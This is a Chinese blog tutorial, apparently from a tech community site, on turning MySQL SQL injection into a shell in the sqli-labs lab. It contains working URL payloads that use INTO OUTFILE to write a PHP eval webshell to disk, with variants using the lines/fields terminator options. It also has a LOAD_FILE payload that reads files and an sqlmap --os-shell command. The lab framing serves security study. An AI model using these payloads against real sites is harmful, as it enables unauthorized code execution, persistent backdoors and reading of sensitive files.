sql注入之GETSHELL

2024.2.1

GETSHELL

利用SQL注入获取MYSQL数据库权限的要求:

文件读写基本要求:

  •  是root用户最高权限
  •  知道网站的绝对路径

文件读写注入的原理:

利用文件的读写权限进行注入,它可以写入一句话木马,也可以读取系统文件的敏感信息

文件读写注入的条件:

高版本的MYSQL添加了一个新的特性secure_file_priv,该选项限制了mysql导出文件的权限

secure_file_priv选项
secure_file_priv=代表对文件读写没有限制
secure_file_priv=NULL代表不能进行文件读写
secure_file_priv=d:/mysql/data代表只能对该路径下文件进行读写
show global variables like'%secure%查看mysql全局变量的配置

以下例子均为 sqli-labs-master 靶场环境

手工注入

文件的写入  

基本格式 :

'<文件内容>' into outfile/dumpfile '<待写入文件的绝对路径>'
区别outfiledumpfile
文件类型更适用于文本文件更适用于二进制文件
存储方式可以写多行只能写一行
脏数据
可选后缀作用示例结果
无后缀
?id=1' union select 1,2,'<?php @eval($_POST["abc"]); ?>' into outfile "D:\\1.php" -- a
lines terminated by '<文本>'将文本写在最后
?id=1' union select 1,2,'<?php @eval($_POST["abc"]); ?>' into outfile "D:\\3.php" lines terminated by '' -- a
lines starting by '<文本>'将文本写在最前
?id=1' union select 1,2,'<?php @eval($_POST["abc"]); ?>' into outfile "D:\\4.php" lines starting by '666' -- a
fields/columns terminated by '<文本>'设置字段分割符
?id=1' union select 1,2,'<?php @eval($_POST["abc"]); ?>' into outfile "D:\\5.php" fields terminated by '~~' -- a

文件的读取

load_file('<文件的绝对路径>')
?id=-1' union select 1,2,load_file('D:\\1.php') -- a

sqlmap注入

--os-shell
python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-1/?id=1 --os-shell

完成后会在指定位置生成木马文件

  • 8
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Z时代.bug(゜▽゜*)

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值